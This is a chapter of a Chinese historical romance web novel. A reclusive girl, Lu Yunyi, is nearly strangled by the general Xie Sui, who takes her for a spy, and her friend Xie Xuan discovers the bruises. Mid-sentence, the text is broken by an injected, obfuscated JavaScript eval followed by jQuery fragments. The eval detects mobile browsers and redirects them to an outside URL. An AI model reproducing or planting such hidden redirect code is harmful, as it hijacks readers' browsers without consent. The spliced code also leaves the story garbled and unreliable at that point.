3. 再遇

作品:《作壁上观

    “云衣,你再尝尝这个。”


    谢璇夹了一个粉色的水晶包放到陆云衣碗里,


    “这是庆丰楼的新菜式,芙蓉水晶包。”


    二楼雅间里,紫檀如意纹的马蹄桌,罩着雪青色绡金桌帏。十二人座的桌上满满登登地摆着各种吃食。


    金丝凤尾酥,玲珑水晶包,红柳炙羊肉,醉仙鸡,鸳鸯豆沙,翡翠玉菇羹……陆云衣最爱的还是水晶包,谢璇命人连上了两盘。


    “绾绾,你太好了!一下山就带我来吃好吃的,我最心心念念的就是它们了。”陆云衣一扫离开师父的阴霾,沉浸在美味佳肴中。


    “你费尽心力为我祖母画佛像,我当然要好好犒劳你呀,我的大画师!上京有很多好吃的,我一定带你吃个遍。”谢璇大手一挥,陆云衣忙不迭得点头,“好呀好呀!”


    谢璇的贴身丫鬟见晴上前给她们续上茶水,笑着说:“云衣小姐,您下山来太好,我家小姐可高兴了,早就吩咐把院里的明月阁收拾好了,就等着您来!”


    谢璇知道陆云衣不喜生人,便将她安置在望舒院最里间的明月阁。院子里种着几棵桂树,时下正是金桂飘香的时节。


    穿过月洞门,陆云衣一进明月阁便看到了墙边一棵高大的桂树。树冠如盖,上面星星点点的都是盛放的桂花。


    身边的小丫鬟引着路,“云衣小姐,您园中的这棵桂树,是咱们府上最有年头的一棵,这棵树的花做出来的桂花糕最是香甜的。”


    陆云衣眸子亮了亮,肚子刚刚吃了一大桌佳肴的馋虫,听到好吃的又醒了。


    但师父总说,食知止足。若腹中胀苦,心识昏沉。怎么能见菩提明月呢。


    陆云衣抬头望着乌漆漆的夜空,“明月不就在天上吗,我一抬眼就看见了。”


    明月伴着启明星渐渐西垂,东方的那片天空已经有一线发白,平日在寺中这个时辰,早已有刻苦的师兄开始做早课了。


    远处的鸡鸣传来,清晨的炊烟和桂花淡淡的香气笼在薄雾中氤氲着。


    陆云衣套上外袍打开房门,又看见了墙边的桂树。


    地上的草叶尖凝着轻霜,霜华院同定国公府的其他院子不同,不种花花草草,也不栽翠柳桂树,整个院子空荡荡的,只在院子左右两边立着武练桩和兵器架。


    回京后谢随依旧按照军营中的作息,严冬酷暑,总要在日出之前练一套拳。


    平日与他一同操练的谢平、谢安两人被派出去做事,今日的院子里便愈发安静。


    没有兵器相接、拳拳碰撞的打斗声,也没有谢安的哀嚎和谢平的闷哼,只能听到谢随铁拳掷出,震得空气破裂呼呼作响。


    月白色的里衣早已被汗水浸湿,紧贴着身躯,遒劲的肩臂如山脉隆起,随着呼吸起伏,腹腰劲瘦,肌肉线条流畅而紧绷。


    谢随握拳似铁,疾如闪电,随着行云流水的移形换位,打出一道道残影,整个身形像猛兽蓄势待发,眸光如炬,眼神肃杀,仿佛来自阿鼻地狱的修罗。


    猛地,谢随眸色骤沉,目光如寒刀出鞘,直直盯向墙外桂树上浓密的枝叶。


    陆云衣像稚兔被苍鹰锁定,头皮发麻,脚下一松,从树上掉落。


    还没来得及发出惊呼,谢随一个闪身站在她面前,掐住她的脖子将她定在树上。


    谢随可不是什么好人,西戎战神呼延柞都被斩杀在他的刀下,如今更是被西戎军称为杀神。


    箍着脖子的手像一把沉铁重钳,陆云衣无法呼吸,脖颈处巨大的疼痛,似乎下一刻骨头就要被折断了,她只能伸着两只手拼命向前抓着,双脚悬在空中胡乱地蹬。


    谢随鹰隼般的目光锁在陆云衣皱在一堆的五官上,巴掌大的脸涨得通红,


    “你是何人?竟偷窥我国公府。”


    国公府向来家风清正,庭训严谨,人口简单,一共只有两房。


    大房谢慎,就是他爹,唯有一个正室他娘,膝下独子谢随。


    他娘多年前因病过世后,他爹常年驻守边关,也没再娶续弦纳妾,后来谢随也常年在边关,大房长年无人在府中,这可疑之人便不可能大房的。


    至于二房,他那个擅长口诛笔伐的二叔,一妻一妾,膝下两子一女。


    长子谢昀如今在山学念书,近日还未归家,次女谢璇倒是在家中,却不是这模样。


    还有一个庶子,才刚刚启蒙。


    再说不管是老国公在世,还是如今老夫人坐镇国公府,从来都规矩严明,怎会有人堂而皇之爬树偷窥?


    莫非是西域奸细?


    美人计,西戎贼子也不是没用过。


    是了,近日西域诸国前来朝拜,不少来使和商队在城中盘桓,此人定然是趁此机会混进我国公府,还真是好本事。


    谢随手中的力道渐渐加重,陆云衣挣扎的力气却慢慢弱了下来。


    “呀!云衣小姐。”昨天服侍陆云衣的丫鬟丢掉手中装满热水的铜盆,语无伦次地慌忙跑过来,“将军饶命,将军饶命……”


    谢随手上力道一松,陆云衣落下来,双腿无力地瘫坐在桂树根下。


    双手扶着地不断地咳嗽,刚才还涨红的小脸顿时失去了血色,一片灰白,素色的衣袍散在地上,沾上了露水和泥土,满地狼藉。


    小丫鬟扶起陆云衣,在她单薄的背后不停顺着气,“云衣小姐,你没事吧?”一边偷偷地怯生生看了眼谢随。


    谢随周身的戾气还未褪去,黑着脸立在一旁,小丫鬟赶紧转回头。


    谢随虽不常在府中,但府里人都知道谢家的大公子是名镇关西的破虎将军,曾经带着不足千人的小队冲进西戎军队中将他们的悍将呼延柞斩杀。


    如今亲眼看着谢随如同杀人的模样,手便抖得止不住。


    “说!她是谁?”谢随仍死死地盯着陆云衣。


    小丫鬟声音不稳,扶着陆云衣颤抖地说,“回,回将军,云衣小姐是老夫人和三小姐,昨日带回来的。”


    昨日谢随本要从大慈恩寺接老夫人下山,但突然接到昭华公主召见,便先行离开,见完昭华公主归家也深夜了,丝毫不知道家中住进一个新人。


    但谢随看着地上鸡仔一样的两人,突然卸下满身戒备,甚至觉得好笑,这里已经不是战场,这些京中女子比大漠上的风草还柔弱,自己竟如此警惕。


    “带她下去收拾一下。”说完,便一个闪身跳墙回了自己的院子。


    小丫鬟将手脚还是虚软的陆云衣从地上扶起,一步步挪回屋中。


    陆云衣蜷在床上,她的性子向来胆小,刚才那种濒死感,太恐怖了,缓了好一会儿,神魂似乎都还没有归位。


    “云衣小姐,云衣小姐……”丫鬟将被子盖在她身上,轻轻地唤着。


    陆云衣恍若惊醒,“我,我先休息一下,你先出去。”陆云衣将被子往身上紧了紧。


    小丫鬟答是,正要出去。


    “等等。”陆云衣唤住小丫鬟,她轻轻地说,像在自言自语,“别…别告诉绾绾。”


    她记得下山前师父说京中到处是高门贵府,进出都是贵人,要乖点,不要给老夫人添麻烦。


    但是她忘了师父说完这句话,又看了她一会儿,目光更加柔和,摇了摇头说,小云


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077783|195293||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    衣太乖顺了,倘若受了欺负一定要找谢三小姐和老夫人,她们想来不会不管,若实在太委屈,就回寺里来。


    “空空空”外面天已经大亮。


    “云衣,我是绾绾。”谢璇站在门口敲着雕着海棠花的门扉,“我进来咯。”


    她轻轻地推开门,见晴站在身后,捧着一个很大的红木托盘,上面放着谢璇为陆云衣挑选的衣裙,首饰。


    谢璇接过托盘,将见晴和听雪留在屋外,一个人进了房间。


    “云衣。你是小懒猪吗,怎么还不起床”她将衣裙放在床边,去拉陆云衣的被子。


    陆云衣一见熟悉的人来了,松开被子紧紧靠进谢璇怀里,眼泪哗地落下来。


    谢璇有些惊异,陆云衣虽不喜生人,但在府中住了一晚竟惧怕成这样?谢璇轻拍着安抚,这时她才发现陆云衣身上的衣袍乱糟糟的,上面还沾着许多泥巴和杂草。


    “云衣,你这是怎么了?你怎么…呀,你的脖子怎么了?!”谢璇柔声的语气陡然变得惊骇。


    赶紧扶起她,仔细一看。


    只见陆云衣不仅衣袍凌乱,嫩白的脖子赫然印着一个粗大的手掌印。


    该是多大的力气掐,才能这样乌紫。


    “昨夜和今早是谁伺候云衣,云衣受伤为何不报,马上叫她滚过来!”


    谢璇又气又心疼,重新搂住陆云衣,“见晴去我房里将母亲上次从宫中带的玉容膏取来。”


    谢璇先给陆云衣伤口处抹上玉容膏,宫里的玉容膏疗效最好,再深的印子多涂抹几次都能完好如初。随后又喂陆云衣喝下一杯热茶,陆云衣渐渐平复下来,


    “对不起绾绾,我好像给你闯祸了。”说着她的眼泪又要落下来,虽然她现在还不知道为什么她上一刻还在树上摘桂花,下一刻就被人往死里掐住脖子。


    谢璇拉着陆云衣的手,“云衣你别这样说,要道歉也该是我道歉,是我没有护好你,对不起云衣。”


    “不是的绾绾,”陆云衣连忙摇头,结果不小心扯到伤口。


    “嘶~”好疼。


    “云衣,你先别说话了。先把身上的衣物换下来吧,然后我们先吃早膳,今日的早膳给你准备了可多好吃的。”说着拿过床边的衣裙,见晴赶忙上前服侍陆云衣更衣,又让听雪吩咐厨房将早膳端上来。


    陆云衣脖子还疼着,就端了一碗莼菜银鱼羹慢慢吃着,桌上其他糕糕点点,陆云衣一个也吃不下去,唉,真可惜。


    正吃着那个小丫鬟被带过来,颤巍巍跪在门外,“三小姐,不是我,昨晚听雪姐姐说云衣小姐起的早,今日早晨,天才刚亮,我就赶紧取了热水来。刚走到院门口…”


    小丫鬟顿了一下,继续说道,“是少将军。我刚走到院门,就看见,少将军掐着云衣小姐的脖子。见有人来,才松手,还问我云衣小姐是谁,我说是您朋友,他,他就走了。”


    “大哥?”谢璇有些出乎意料。


    陆云衣也有些诧异,她只知道谢璇有一个清风霁月的哥哥。


    “嗯,大哥是我大伯的独子,只是常年跟随大伯驻守边关,我大哥不常回来,更是从未见过你,但他怎么会对你下如此重手?”


    谢璇自懂事起,谢随便已经去往边关,这几年一共也没见几次,自己对这个大哥不太熟,平日里和小姐妹说起来只觉得很威武。


    今日这事她也想不出所以然,但还是安慰着陆云衣,


    “他常年在军中,不懂怜香惜玉,听说带兵打仗手腕铁血,治下极其严苛,却也赏罚分明,不该这么不讲道理。走,云衣,我们现在就去找祖母。”